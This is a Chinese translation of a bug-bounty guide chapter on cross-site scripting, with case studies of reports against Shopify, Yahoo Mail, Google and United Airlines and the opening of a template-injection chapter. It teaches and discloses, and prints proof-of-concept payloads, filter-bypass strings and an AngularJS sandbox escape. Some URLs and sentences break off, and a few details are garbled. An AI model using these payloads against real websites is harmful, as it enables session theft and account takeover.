跨站脚本(XSS)漏洞的最著名例子之一是 Samy Kamkar 创建的 Myspace Samy 蠕虫。2005 年 10 月,Kamkar 利用 Myspace 的一个漏洞,使他能够在个人资料中存储一个 JavaScript 有效载荷。每当一个登录用户访问他的 Myspace 个人资料时,载荷代码会执行,使得该用户成为 Kamkar 的朋友,并将该用户的个人资料更新为显示文本“但最重要的是,samy 是我的英雄。”然后,这段代码会复制到该用户的个人资料中,并继续感染其他 Myspace 用户页面。
尽管 Kamkar 并没有恶意创建这个蠕虫,但由于此事,政府突袭了 Kamkar 的住所。Kamkar 因释放该蠕虫而被逮捕,并对一项重罪指控表示认罪。
Kamkar 的蠕虫是一个极端的例子,但他的攻击展示了 XSS 漏洞对网站可能造成的广泛影响。与我目前介绍的其他漏洞类似,XSS 发生在网站未对某些字符进行净化时,导致浏览器执行恶意的 JavaScript。允许 XSS 漏洞发生的字符包括双引号(")、单引号(')和尖括号(< >)。
如果一个网站正确地净化字符,这些字符将作为 HTML 实体呈现。例如,网页的源代码将以以下方式显示这些字符:
-
一个双引号(
")可以表示为"或" -
一个单引号(
')可以表示为'或' -
一个开头的尖括号(
<)可以表示为<或< -
一个结束的尖括号(
>)可以表示为>或>
这些特殊字符在未净化的情况下,在 HTML 和 JavaScript 中定义了网页的结构。例如,如果一个网站没有净化尖括号,你可以插入<script></script>来注入一个有效载荷,像这样:
<script>alert(document.domain);</script>
当你将这个有效载荷提交到一个未净化的网页时,<script></script>标签会指示浏览器执行其中的 JavaScript。这个有效载荷执行alert函数,弹出一个显示传递给alert的内容的对话框。括号中的document是 DOM,它返回网站的域名。例如,如果这个有效载荷在https://www.
当你发现 XSS 漏洞时,确认其影响范围,因为并非所有 XSS 漏洞都是相同的。确认漏洞的影响并包括这一分析可以改善你的报告,帮助漏洞评估者验证你的漏洞,甚至可能提高你的赏金。
例如,一个没有使用httponly标志的敏感 cookie 的 XSS 漏洞与使用了该标志的 XSS 漏洞是不同的。当一个站点没有httponly标志时,你的 XSS 可以读取 cookie 的值;如果这些值包括会话识别 cookie,你可以窃取目标的会话并访问他们的账户。你可以警告document.cookie来确认你能读取敏感的 cookie(知道一个站点认为哪些 cookie 是敏感的需要在每个站点上进行试验)。即使你不能访问敏感的 cookie,你也可以警告document.domain来确认是否可以从 DOM 中访问敏感的用户信息,并代表目标执行操作。
但是,如果你没有正确警告域名,XSS 可能不会成为该站点的漏洞。例如,如果你从一个沙盒 iFrame 中警告document.domain,你的 JavaScript 可能是无害的,因为它无法访问 cookies,无法在用户账户上执行操作,或无法从 DOM 中访问敏感的用户信息。
由于浏览器实施了同源策略(SOP)作为安全机制,JavaScript 被渲染为无害。SOP 限制了文档(DOM 中的 D)如何与来自不同来源的资源进行交互。SOP 保护无辜的网站免受恶意网站通过用户进行的攻击。例如,如果你访问了www.GET请求到www.
网站的协议(例如,HTTP 或 HTTPS)、主机(例如,www.
表格 7-1: SOP 示例
| 网址 | 同源? | 原因 |
|---|---|---|
| http://www. |
是 | 不适用 |
| http://www. |
是 | 不适用 |
| https://www. |
否 | 不同协议 |
| http://store. |
否 | 不同主机 |
| http://www. |
否 | 不同端口 |
在某些情况下,URL 的源与实际来源不匹配。例如,about:blank和javascript:方案会继承打开它们的文档的来源。about:blank上下文访问或与浏览器交互,而javascript:则执行 JavaScript。URL 本身并没有提供关于其来源的信息,因此浏览器会以不同的方式处理这两种上下文。当你发现 XSS 漏洞时,在你的概念验证中使用alert(document.domain)是很有帮助的:它确认了 XSS 执行的来源,尤其是在浏览器显示的 URL 与 XSS 执行的来源不同的情况下。这正是当一个网站打开javascript: URL 时发生的情况。如果www.javascript:alert(document.domain)的 URL,浏览器地址栏会显示javascript:alert(document.domain),但弹出框会显示www.
尽管我这里只举了使用 HTML <script>标签来实现 XSS 的例子,但在发现潜在注入点时,您并不总是能够提交 HTML 标签。在这些情况下,您可能能够提交单引号或双引号来注入 XSS 有效载荷。根据注入位置的不同,XSS 的影响可能会很大。例如,假设你能够访问以下代码的value属性:
<input type="text" name="username" value="hacker" width=50px>
通过在value属性中注入双引号,你可以关闭现有的引号,并将恶意的 XSS 有效载荷注入到标签中。你可以通过将value属性改为hacker" onfocus=alert(document.cookie) autofocus "来实现,这会导致以下结果:
<input type="text" name="username" value="hacker"
onfocus=alert(document.cookie) autofocus "" width=50px>
autofocus属性指示浏览器在页面加载完成后立即将光标焦点放在输入框上。onfocus JavaScript 属性告诉浏览器当输入框获得焦点时执行 JavaScript(没有autofocus时,onfocus会在用户点击输入框时触发)。但这两个属性有其局限性:你不能在隐藏字段上使用自动聚焦。此外,如果页面上有多个字段设置了自动聚焦,焦点会落在第一个或最后一个元素上,这取决于浏览器。当有效载荷运行时,它会在document.cookie上触发警报。
类似地,假设你有权限访问<script>标签中的一个变量。如果你能将单引号注入到以下代码中的name变量值里,你就能关闭该变量并执行你自己的 JavaScript:
<script>
var name = 'hacker';
</script>
因为我们控制着hacker的值,将name变量改为hacker';alert(document.cookie);'会导致以下结果:
<script>
var name = 'hacker';alert(document.cookie);'';
</script>
注入一个单引号和分号后,变量 name 会被关闭。由于我们使用的是 <script> 标签,JavaScript 函数 alert(document.cookie)(我们也注入了这个函数)会执行。我们添加了额外的 ;' 来结束函数调用并确保 JavaScript 语法正确,因为网站包含了一个 '; 来关闭 name 变量。如果没有 '; 语法结尾,可能会留下一个悬空的单引号,从而破坏页面的语法。
如你所知,你可以使用几种方法执行 XSS。由 Cure53 的渗透测试专家维护的网站 html5sec.org/ 是一个关于 XSS payloads 的优秀参考。
XSS 类型
XSS 主要有两种类型:反射型和存储型。反射型 XSS 是指一个没有存储在网站上的单一 HTTP 请求,传送并执行 XSS payload。包括 Chrome、Internet Explorer 和 Safari 在内的浏览器,尝试通过引入 XSS 审计器 来防止这种漏洞(2018 年 7 月,微软宣布他们将在 Edge 浏览器中退休 XSS 审计器,因为有其他安全机制可以防止 XSS)。XSS 审计器尝试保护用户免受执行 JavaScript 的恶意链接。当发生 XSS 尝试时,浏览器会显示一个损坏的页面,并提示页面已被阻止以保护用户。图 7-1 显示了 Google Chrome 中的一个示例。

图 7-1:Google Chrome 中被 XSS 审计器阻止的页面
尽管浏览器开发者们付出了巨大努力,但攻击者仍然经常绕过 XSS 审计器,因为 JavaScript 在网站上的执行方式复杂多变。由于绕过 XSS 审计器的方法经常变化,它们超出了本书的讨论范围。不过,有两个很好的资源可以进一步了解,分别是 FileDescriptor 的博客文章 blog.innerht.ml/the-misunderstood-x-xss-protection/ 和 Masato Kinugawa 的过滤器绕过备忘单 https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-Bypass-Cheat-Sheet/。
相比之下,存储型 XSS 是指当网站保存恶意 payload 并渲染它时未经过消毒处理。网站也可能在多个位置渲染输入的 payload。payload 可能不会在提交后立即执行,但它可能在访问其他页面时执行。例如,如果你在一个网站上创建了一个包含 XSS payload 的个人资料作为你的名字,那么 XSS 可能不会在你查看个人资料时执行;相反,它可能在别人搜索你的名字或给你发信息时执行。
你还可以将 XSS 攻击分为以下三种子类别:基于 DOM 的、盲型和自我型。基于 DOM 的 XSS 攻击涉及操控网站现有的 JavaScript 代码来执行恶意的 JavaScript;它可以是存储型或反射型的。例如,假设网页 www.
<html>
<body>
<h1>Hi <span id="name"></span></h1>
<script>document.getElementById('name').innerHTML=location.hash.split('#')
[1]</script>
</body>
</html>
在这个示例网页中,脚本标签调用文档对象的 getElementById 方法来查找具有 ID 'name' 的 HTML 元素。该调用返回指向 <h1> 标签中 <span> 元素的引用。接下来,脚本标签使用 innerHTML 方法修改 <span id="name"></span> 标签之间的文本。脚本将 <span></span> 之间的文本设置为来自 location.hash 的值,location.hash 是 URL 中 # 后的任何文本(location 是另一个浏览器 API,类似于 DOM;它提供了关于当前 URL 的信息)。
因此,访问 www.<h1><span id="name">Peter</span></h1>。但该页面在更新 <span> 元素之前没有清理 URL 中的 # 值。所以,如果用户访问 www.x)。页面的最终 HTML 将会像这样:
<html>
<body>
<h1>Hi <span id="name"><img src=x onerror=alert(document.domain)></span>
</h1>
<script>document.getElementById('name').innerHTML=location.hash.split('#')
[1]</script>
</body>
</html>
这次,网页不会在 <h1> 标签之间渲染 Peter,而是会显示一个 JavaScript 警告框,里面显示 document.domain 名称。攻击者可以利用这一点,因为为了执行任何 JavaScript,他们将 <img> 标签的 JavaScript 属性提供给 onerror。
盲型 XSS 是一种存储型 XSS 攻击,其中另一个用户从黑客无法访问的网站位置渲染 XSS 负载。例如,如果你在创建个人资料时将 XSS 作为你的名字和姓氏添加,这可能会发生。这些值在普通用户查看你的个人资料时可能会被转义,但当管理员访问列出所有新用户的管理页面时,可能不会清理这些值,从而执行 XSS。Matthew Bryant 提供的 XSSHunter 工具 (xsshunter.com/) 非常适合检测盲型 XSS。Bryant 设计的负载会执行 JavaScript,加载远程脚本。当脚本执行时,它会读取 DOM、浏览器信息、Cookies 和其他返回到 XSSHunter 账户的信息。
Self XSS 漏洞是指仅影响输入有效载荷的用户的漏洞。由于攻击者只能攻击自己,因此自我 XSS 被认为是低严重性漏洞,并且在大多数漏洞悬赏计划中不符合奖励资格。例如,当 XSS 通过 POST 请求提交时,可能会发生这种漏洞。但由于请求受到 CSRF 的保护,只有目标用户才能提交 XSS 有效载荷。自我 XSS 可能会被存储,也可能不会。
如果你发现自我 XSS,尝试寻找机会将其与其他可能影响其他用户的漏洞结合,例如 登录/登出 CSRF。在这种攻击中,目标用户会被登出自己的账户,并登录到攻击者的账户以执行恶意的 JavaScript。通常,登录/登出 CSRF 攻击需要能够使用恶意 JavaScript 将目标用户重新登录到账户中。我们不会讨论使用登录/登出 CSRF 的漏洞,但一个很好的例子是 Jack Whitton 在 Uber 网站上发现的漏洞,你可以在 https://whitton.io/articles/uber-turning-self-xss-into-good-xss/ 阅读详细信息。
XSS 的影响取决于多种因素:它是存储型还是反射型,是否能访问 cookies,有效载荷在哪个位置执行等等。尽管 XSS 可能对网站造成潜在的损害,但修复 XSS 漏洞通常很容易,只需要软件开发人员在渲染之前对用户输入进行过滤(就像 HTML 注入一样)。
Shopify 批发
难度: 低
来源: hackerone.com/reports/106293/
报告日期: 2015 年 12 月 21 日
支付悬赏: $500
XSS 有效载荷不需要复杂,但你需要根据它们渲染的位置以及它们是否包含在 HTML 或 JavaScript 标签中来定制。在 2015 年 12 月,Shopify 的批发网站是一个简单的网页,顶部有一个独特的搜索框。该页面上的 XSS 漏洞很简单,但容易被忽略:输入到搜索框中的文本被未经过滤地反射在现有的 JavaScript 标签中。
人们忽视了这个漏洞,因为 XSS 有效载荷并没有利用未经过滤的 HTML。当 XSS 利用 HTML 的渲染方式时,攻击者可以看到有效载荷的效果,因为 HTML 定义了网站的外观和感觉。相比之下,JavaScript 代码可以 改变 网站的外观和感觉或执行其他操作,但它并不 定义 网站的外观和感觉。
在这种情况下,输入 "><script>alert('XSS')</script> 并不会执行 XSS 载荷 alert('XSS'),因为 Shopify 对 HTML 标签 <> 进行了编码。这些字符会被无害地呈现为 < 和 >。黑客意识到该输入在网页中的 <script></script> 标签内没有被清理。很可能,黑客是通过查看页面的源代码得出这个结论的,源代码包含了页面的 HTML 和 JavaScript。你可以通过在浏览器地址栏中输入 view-source:URL 来查看任何网页的源代码。例如,图 7-2 显示了 nostarch.com/ 网站的部分页面源代码。
在意识到输入没有被清理后,黑客将 test';alert('XSS');' 输入到 Shopify 的搜索框中,当呈现时,会创建一个 JavaScript 警告框,显示文本 'XSS'。虽然报告中没有明确说明,但很可能 Shopify 是在 JavaScript 语句中呈现搜索词,例如 var search_term = ''。注入的第一部分 test'; 会关闭该标签,并将 alert('XSS'); 插入为一个独立的语句。最后的 ' 会确保 JavaScript 语法正确。最终结果可能会像 var search_term = 'test';alert('xss'); '';。

图 7-2: nostarch.com/ 网站的页面源代码
重点总结
XSS 漏洞不一定复杂。Shopify 的漏洞并不复杂:它只是一个没有清理用户输入的简单输入文本字段。在测试 XSS 时,务必查看页面源代码,确认你的载荷是否被呈现在 HTML 或 JavaScript 标签中。
Shopify 货币格式化
难度: 低
网址:
来源: hackerone.com/reports/104359/
报告日期: 2015 年 12 月 9 日
奖励金额: $1,000
XSS 载荷并不总是立即执行。因此,黑客应确保在所有可能呈现的地方正确清理载荷。在这个例子中,Shopify 的商店设置允许用户更改货币格式。2015 年 12 月,当设置社交媒体页面时,这些输入框中的值没有得到正确清理。恶意用户可以设置一个商店,并在商店的货币设置字段中注入一个 XSS 载荷,如 图 7-3 所示。该载荷在商店的社交媒体销售渠道中被呈现。恶意用户可以配置商店,以便当另一个商店管理员访问该销售渠道时执行载荷。
Shopify 使用 Liquid 模板引擎动态渲染商店页面上的内容。例如,${{ }} 是 Liquid 的语法;要渲染的变量放在内层的大括号中。在 图 7-3 中,${{amount}} 是一个合法的值,但被追加了值 "><img src=x onerror=alert(document.domain)>,这是 XSS 有效载荷。"> 关闭了 HTML 标签,正在将有效载荷注入到其中。当 HTML 标签关闭时,浏览器渲染该图像标签,并查找 src 属性中指示的图像 x。由于 Shopify 网站上不太可能存在此值的图像,浏览器会遇到错误并调用 JavaScript 事件处理程序 onerror。事件处理程序执行处理程序中定义的 JavaScript。在此情况下,它是 alert(document.domain) 函数。

图 7-3:报告时 Shopify 的货币设置页面
虽然当用户访问货币页面时 JavaScript 不会执行,但有效载荷也会出现在 Shopify 商店的社交媒体销售渠道中。当其他商店管理员点击易受攻击的销售渠道标签时,恶意的 XSS 会被渲染为未经清理并执行 JavaScript。
重点总结
XSS 有效载荷并不总是在提交后立即执行。由于有效载荷可以在网站的多个位置使用,因此必须访问每个位置。在这种情况下,仅仅提交恶意有效载荷在货币页面上并未执行 XSS。错误报告者必须配置另一个网站功能,才能使 XSS 执行。
Yahoo! Mail 存储型 XSS
难度: 中等
URL: Yahoo! Mail
报告日期: 2015 年 12 月 26 日
悬赏金额: $10,000
通过修改输入的文本来清理用户输入有时会导致问题,尤其是在处理不当时。在这个例子中,Yahoo! Mail 的编辑器允许用户通过 HTML 在电子邮件中嵌入图像,使用 <img> 标签。编辑器通过移除所有 JavaScript 属性,如 onload、onerror 等,来清理数据,避免 XSS 漏洞。然而,它未能避免用户故意提交格式错误的 <img> 标签时发生的漏洞。
大多数 HTML 标签都接受属性,它们是关于 HTML 标签的附加信息。例如,<img> 标签需要一个指向图像地址的 src 属性来渲染图像。该标签还允许使用 width 和 height 属性来定义图像的大小。
一些 HTML 属性是布尔属性:当它们包含在 HTML 标签中时,被视为 true,省略时被视为 false。
通过这个漏洞,Jouko Pynnonen 发现如果他将布尔属性添加到带有值的 HTML 标签中,Yahoo! Mail 会移除该值,但保留属性的等号。这是 Pynnonen 提供的一个示例:
<INPUT TYPE="checkbox" CHECKED="hello" NAME="check box">
在这里,HTML 输入标签可能包含一个 CHECKED 属性,用来表示是否应该将复选框渲染为选中状态。根据 Yahoo 的标签解析,该行将变为:
<INPUT TYPE="checkbox" CHECKED= NAME="check box">
这看起来无害,但 HTML 允许在未加引号的属性值周围有零个或多个空格字符。因此,浏览器会将其读取为 CHECKED 的值为 NAME="check,而 input 标签有一个名为 box 的第三个属性,但没有值。
为了利用这一点,Pynnonen 提交了以下 <img> 标签:
<img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;
left:0px;top:0px; onmouseover=alert(/XSS/)//'>
Yahoo! 邮件过滤会将其更改为以下内容:
<img ismap= itemtype='yyy' style=width:100%;height:100%;position:fixed;left:
0px;top:0px; onmouseover=alert(/XSS/)//>
ismap 值是一个布尔型的 <img> 标签属性,指示图像是否有可点击区域。在这个案例中,Yahoo! 删除了 'xxx',并且字符串末尾的单引号被移动到了 yyy 的末尾。
有时,网站的后端是一个黑箱,你不知道代码是如何被处理的,就像这个案例一样。我们不知道为什么 'xxx' 被删除,或者为什么单引号被移到 yyy 的末尾。可能是 Yahoo 的解析引擎,或者浏览器处理 Yahoo 返回的内容时做出了这些更改。不过,你可以利用这些异常找到漏洞。
由于代码处理的方式,一个 <img> 标签的高度和宽度为 100%,这导致图片占据了整个浏览器窗口。当用户将鼠标移到网页上时,XSS payload 会因为注入中的 onmouseover=alert(/XSS/) 部分而执行。
要点
当网站通过修改用户输入而不是对值进行编码或转义来清理输入时,你应该继续测试网站的服务器端逻辑。考虑开发者如何编写他们的解决方案以及他们做出了哪些假设。例如,检查开发者是否考虑过如果提交了两个 src 属性,或者如果空格被替换为斜杠会发生什么。在这个案例中,漏洞报告者检查了当布尔属性提交值时会发生什么。
Google 图片搜索
难度: 中等
来源: mahmoudsec.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html
报告日期: 2015 年 9 月 12 日
奖励支付: 未公开
根据你的输入渲染位置,你并不总是需要使用特殊字符来利用 XSS 漏洞。在 2015 年 9 月,Mahmoud Jamal 使用 Google 图片搜索为他的 HackerOne 个人资料寻找一张图片。在浏览时,他注意到图片 URL www.google.com/imgres?imgurl=https://lh3.googleuser.com/... 来自 Google。
注意到 URL 中提到imgurl,Jamal 意识到他可以控制该参数的值;它可能会作为链接渲染在页面上。当他将鼠标悬停在他个人资料的缩略图上时,Jamal 确认<a>标签的href属性包含了相同的 URL。他尝试将imgurl参数更改为javascript:alert(1),并注意到href属性也更改为相同的值。
这个javascript:alert(1)有效载荷在特殊字符被清理时非常有用,因为该载荷不包含需要网站编码的特殊字符。当点击指向javascript:alert(1)的链接时,会打开一个新的浏览器窗口,并执行alert函数。此外,由于 JavaScript 是在初始网页的上下文中执行的,而该网页包含了该链接,因此 JavaScript 可以访问该页面的 DOM。换句话说,指向javascript:alert(1)的链接将对 Google 执行alert函数。这个结果表明,恶意攻击者可能会访问网页上的信息。如果点击指向 JavaScript 协议的链接没有继承初始站点渲染该链接的上下文,那么 XSS 攻击就无害了:攻击者无法访问易受攻击网页的 DOM。
充满期待的 Jamal 点击了他认为是恶意链接的内容,但没有 JavaScript 被执行。当鼠标点击通过锚标签的onmousedownJavaScript 属性时,Google 已经清理了 URL 地址。
作为解决方法,Jamal 尝试通过页面进行切换。当他到达“查看图片”按钮时,他按下了 ENTER 键。JavaScript 被触发,因为他可以在不点击鼠标的情况下访问链接。
要点
始终留意那些可能在页面上反射的 URL 参数,因为你可以控制这些值。如果你发现任何在页面上渲染的 URL 参数,也要考虑它们的上下文。URL 参数可能会提供绕过清理特殊字符的过滤器的机会。在这个例子中,Jamal 不需要提交任何特殊字符,因为该值作为锚标签中的href属性被渲染。
此外,甚至在 Google 和其他大型网站上也要寻找漏洞。很容易认为仅仅因为一个公司很大,它的所有漏洞都已经被发现了。显然,情况并非总是如此。
Google Tag Manager 存储型 XSS
难度: 中等
Source: blog.it-securityguard.com/bugbounty-the-5000-google-xss/
报告日期: 2014 年 10 月 31 日
奖励金额: $5,000
网站的常见最佳实践是在渲染时清理用户输入,而不是在提交时保存输入。原因是,向网站提交数据的方式(如文件上传)容易引入新的方式,且可能会忘记清理输入。然而,在某些情况下,公司并未遵循这一做法:HackerOne 的 Patrik Fehrenbach 在 2014 年 10 月测试 Google 的 XSS 漏洞时发现了这一疏漏。
Google Tag Manager 是一款 SEO 工具,可以让营销人员轻松添加和更新网站标签。为了实现这一点,该工具提供了多个用户可以互动的网页表单。Fehrenbach 从查找可用的表单字段开始,并输入了 XSS 负载,例如 #"><img src=/ onerror=alert(3)>。如果该负载被表单字段接受,负载将关闭现有的 HTML 标签,然后尝试加载一个不存在的图片。由于找不到该图片,网站将执行 onerror JavaScript 函数 alert(3)。
但 Fehrenbach 的负载并未生效。Google 正确地清理了他的输入。Fehrenbach 注意到了一种提交负载的替代方式。除了表单字段,Google 还提供了上传包含多个标签的 JSON 文件的功能。因此,Fehrenbach 向 Google 的服务上传了以下 JSON 文件:
"data": {
"name": "#"><img src=/ onerror=alert(3)>",
"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {
"varType": "HISTORY_NEW_URL_FRAGMENT"
}
}
请注意,name 属性的值与 Fehrenbach 之前尝试的相同的 XSS 负载。Google 没有遵循最佳实践,而是在提交表单时进行输入清理,而不是在渲染时进行。因此,Google 忘记对文件上传的输入进行清理,导致 Fehrenbach 的负载执行。
关键要点
Fehrenbach 的报告中有两个值得注意的细节。首先,Fehrenbach 找到了另一种输入 XSS 负载的方法。你也应该寻找替代的输入方法。确保测试目标提供的所有输入方式,因为每种输入的处理方式可能不同。第二,Google 尝试在输入时进行数据清理,而不是在渲染时进行。如果 Google 遵循最佳实践,本可以避免此漏洞。即使你知道网站开发人员通常会采取常见的防御措施来应对某些攻击,也要检查是否存在漏洞。开发人员也会犯错。
联合航空 XSS
难度: 难
URL: checkin.united.com/
来源: strukt93.blogspot.jp/2016/07/united-to-xss-united.html
报告日期: 2016 年 7 月
悬赏金: 未公开
2016 年 7 月,在寻找便宜机票时,Mustafa Hasan 开始在 United Airlines 网站上寻找漏洞。他发现访问子域名checkin.united.com会重定向到一个包含SID参数的 URL。注意到任何传递给该参数的值都会在页面 HTML 中渲染,他测试了"><svg onload=confirm(1)>。如果渲染不当,该标签将关闭现有的 HTML 标签并注入 Hasan 的<svg>标签,导致一个由onload事件触发的 JavaScript 弹窗。
但是,当他提交 HTTP 请求时,什么也没发生,尽管他的有效载荷以原样渲染,未经过清理。Hasan 没有放弃,而是打开了网站的 JavaScript 文件,可能是使用浏览器的开发者工具。他发现了以下代码,该代码重写了可能导致 XSS 的 JavaScript 属性,如alert、confirm、prompt和write:
[function () {
/*
XSS prevention via JavaScript
*/
var XSSObject = new Object();
XSSObject.lockdown = function(obj,name) {
if (!String.prototype.startsWith) {
try {
if (Object.defineProperty) {
Object.defineProperty(obj, name, {
configurable: false
});
}
} catch (e) { };
}
}
XSSObject.proxy = function (obj, name, report_function_name, ➊exec_original)
{
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
➋ XSSObject.proxy(window, 'alert', 'window.alert', false);
XSSObject.proxy(window, 'confirm', 'window.confirm', false);
XSSObject.proxy(window, 'prompt', 'window.prompt', false);
XSSObject.proxy(window, 'unescape', 'unescape', false);
XSSObject.proxy(document, 'write', 'document.write', false);
XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
}]();
即使你不懂 JavaScript,你也许能通过某些词汇猜出发生了什么。例如,XSSObject proxy定义中的exec_original参数名 ➊ 暗示了某种执行的关系。紧接着该参数下方是所有有趣函数的列表,并且传递了false值(除了最后一个实例) ➋。我们可以假设该站点试图通过不允许执行传递到XSSObject proxy中的 JavaScript 属性来保护自己。
值得注意的是,JavaScript 允许你重写现有的函数。因此,Hasan 首先尝试通过在SID中添加以下值来恢复document.write函数:
javascript:document.write=HTMLDocument.prototype.write;document.write('STRUKT');
这个值通过使用write函数的原型,将文档的write函数恢复到其原始功能。由于 JavaScript 是面向对象的,所有对象都有一个原型。通过调用HTMLDocument,Hasan 将当前文档的write函数恢复到了HTMLDocument的原始实现。然后,他调用了document.write('STRUKT')将他的名字以纯文本的形式添加到页面上。
但是,当 Hasan 尝试利用这个漏洞时,他再次遇到了困难。他联系了 Rodolfo Assis 寻求帮助。两人合作后发现,United 的 XSS 过滤器缺少对与write类似的函数的重写:writeln函数。这两个函数的区别在于,writeln在写入文本后会添加一个换行符,而write则不会。
Assis 认为他可以使用writeln函数将内容写入 HTML 文档。这样做可以绕过 United 的 XSS 过滤器。他通过以下有效载荷实现了这一点:
";}{document.writeln(decodeURI(location.hash))-"#<img src=1 onerror=alert(1)>
但是他的 JavaScript 仍然没有执行,因为 XSS 过滤器仍然在加载并覆盖了alert函数:Assis 需要使用不同的方法。在我们查看最终的有效载荷以及 Assis 如何绕过alert重写之前,让我们先分析一下他的初始有效载荷。
第一部分,";},关闭了正在注入的现有 JavaScript。接下来,{ 打开了 JavaScript payload,document.writeln 调用了 JavaScript 文档对象的 writeln 函数,将内容写入 DOM。传递给 writeln 的 decodeURI 函数解码 URL 中的编码实体(例如,%22 会变成 ")。传递给 decodeURI 的 location.hash 代码返回 URL 中 # 后的所有参数,这在后面定义。在完成这部分初始化后,-" 替换了 payload 开头的引号,以确保 JavaScript 语法的正确性。
最后一部分,#<img src=1 onerror=alert(1)>,添加了一个从未发送到服务器的参数。这最后一部分是一个已定义的、可选的 URL 部分,称为 fragment,它用于引用文档的一部分。但在这个案例中,Assis 利用定义 fragment 开始的哈希符号(#)。location.hash 的引用返回所有 # 后的内容。但返回的内容将被 URL 编码,因此输入的 <img src=1 onerror=alert(1)> 将被返回为 %3Cimg%20src%3D1%20onerror%3Dalert%281%29%3E%20。为了处理编码,decodeURI 函数将内容解码回 HTML <img src=1 onerror=alert(1)>。这很重要,因为解码后的值会传递给 writeln 函数,后者将 HTML <img> 标签写入 DOM。当网站无法找到 src 属性中引用的图像 1 时,HTML 标签会执行 XSS。如果 payload 成功,一个 JavaScript 提示框会弹出,显示数字 1。但它没有。
Assis 和 Hasan 意识到他们需要在联合网站的上下文中创建一个新的 HTML 文档:他们需要一个没有加载 XSS 过滤 JavaScript,但仍能访问联合网页信息、cookies 等的页面。所以他们使用了带有以下 payload 的 iFrame:
";}{document.writeln(decodeURI(location.hash))-"#<iframe
src=javascript:alert(document.domain)><iframe>
这个 payload 的行为和原始 URL 中的 <img> 标签完全相同。但在这个例子中,他们写入了一个 <iframe> 到 DOM 中,并将 src 属性更改为使用 JavaScript 方案来 alert(document.domain)。这个 payload 类似于在 第 65 页 中讨论的 “Google 图像搜索” 中提到的 XSS 漏洞,因为 JavaScript 方案继承了父 DOM 的上下文。现在 XSS 可以访问联合 DOM,因此 document.domain 打印出 www.united.com。当站点渲染出一个弹出提示框时,漏洞被确认。
iFrame 可以使用 src 属性来加载远程 HTML。因此,Assis 可以将源设置为 JavaScript,立即调用 alert 函数并显示文档域名。
要点
注意有关此漏洞的三个重要细节。首先,哈桑表现出了持续的坚持。当他的有效负载未能触发时,他并没有放弃,而是深入研究 JavaScript 查找原因。其次,使用 JavaScript 属性黑名单应该让黑客意识到代码中可能存在 XSS 漏洞,因为这可能是开发者犯错的机会。第三,拥有 JavaScript 知识对于成功确认更复杂的漏洞至关重要。
总结
XSS 漏洞对网站开发者来说构成真实的风险,并且仍然在许多网站上普遍存在,常常暴露在明面上。通过提交恶意负载,例如<img src=x onerror=alert(document.domain)>,你可以检查输入字段是否存在漏洞。但这并不是测试 XSS 漏洞的唯一方法。每当网站通过修改(如删除字符、属性等)来净化输入时,你应该彻底测试净化功能。寻找那些网站在提交时净化输入而不是在渲染输入时进行净化的机会,并测试所有的输入方法。此外,查找你控制的 URL 参数是否反映在页面上;这些可能允许你找到绕过编码的 XSS 漏洞,例如在锚点标签的href值中添加javascript:alert(document.domain)。
重要的是要考虑网站渲染输入的所有地方,并且要了解这些地方是使用 HTML 还是 JavaScript。记住,XSS 有效负载可能不会立即执行。
第八章:TEMPLATE INJECTION**

模板引擎 是一种通过在渲染时自动填充模板中的占位符来创建动态网站、电子邮件和其他媒体的代码。通过使用占位符,模板引擎使开发人员能够分离应用程序和业务逻辑。例如,一个网站可能仅使用一个模板来生成用户个人资料页面,并为个人资料字段(如用户的姓名、电子邮件地址和年龄)设置动态占位符。模板引擎通常还提供额外的好处,如用户输入清理功能、简化的 HTML 生成和易于维护。但这些功能并不能使模板引擎免受漏洞的影响。
模板注入 漏洞发生在引擎渲染用户输入时未正确清理,可能导致远程代码执行。我们将在第十二章中更详细地讨论远程代码执行。
有两种类型的模板注入漏洞:服务器端和客户端。
服务器端模板注入
服务器端模板注入(SSTI) 漏洞发生在服务器端逻辑中进行注入时。由于模板引擎与特定的编程语言相关联,当发生注入时,有时你可能能够执行该语言中的任意代码。是否能这样做取决于引擎提供的安全保护以及网站的防护措施。Python 的 Jinja2 引擎曾允许任意文件访问和远程代码执行,Ruby 默认使用的 ERB 模板引擎也是如此。相比之下,Shopify 的 Liquid 引擎允许访问有限数量的 Ruby 方法,以防止完全的远程代码执行。其他流行的引擎包括 PHP 的 Smarty 和 Twig、Ruby 的 Haml、Mustache 等。
测试 SSTI 漏洞时,你需要使用该引擎特定的语法提交模板表达式。例如,PHP 的 Smarty 模板引擎使用四个大括号 {{ }} 来表示表达式,而 ERB 使用尖括号、百分号和等号的组合 <%= %>。在 Smarty 上进行注入测试时,通常提交 {{7*7}} 并查找页面上回显输入的地方(例如表单、URL 参数等)。在这种情况下,你需要查找由代码 7*7 执行后渲染出来的 49。如果你找到 49,说明你成功地注入了表达式,模板已对其进行了评估。
由于不同的模板引擎语法不统一,因此你必须了解构建你正在测试的网站所使用的软件。像 Wappalyzer 和 BuiltWith 这样的工具专门用于此目的。在识别出软件后,使用该模板引擎的语法提交一个简单的有效载荷,例如7*7。
客户端模板注入
客户端模板注入(CSTI)漏洞出现在客户端模板引擎中,且这些模板引擎是用 JavaScript 编写的。流行的客户端模板引擎包括谷歌的 AngularJS 和 Facebook 的 ReactJS。
由于 CSTI 发生在用户的浏览器中,通常无法利用它们实现远程代码执行,但可以用它们来实现 XSS。然而,实现 XSS 有时可能很困难,并且需要绕过预防措施,就像 SSTI 漏洞一样。例如,ReactJS 通过默认设置有效地防止 XSS。在测试使用 ReactJS 的应用程序时,你应该在 JavaScript 文件中查找函数dangerouslySetInnerHTML,因为你可以控制提供给该函数的输入。这故意绕过了 ReactJS 的 XSS 保护。关于 AngularJS,1.6 版本之前的版本包含了一个沙箱,限制了对某些 JavaScript 函数的访问,并防止了 XSS(要确认 AngularJS 的版本,可以在浏览器的开发者控制台中输入Angular.version)。但是,伦理黑客通常会在 1.6 版本发布之前找到并发布 AngularJS 沙箱绕过方法。以下是一个流行的绕过方法,适用于 1.3.0 到 1.5.7 版本的沙箱,当你发现 AngularJS 注入时可以提交该方法:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
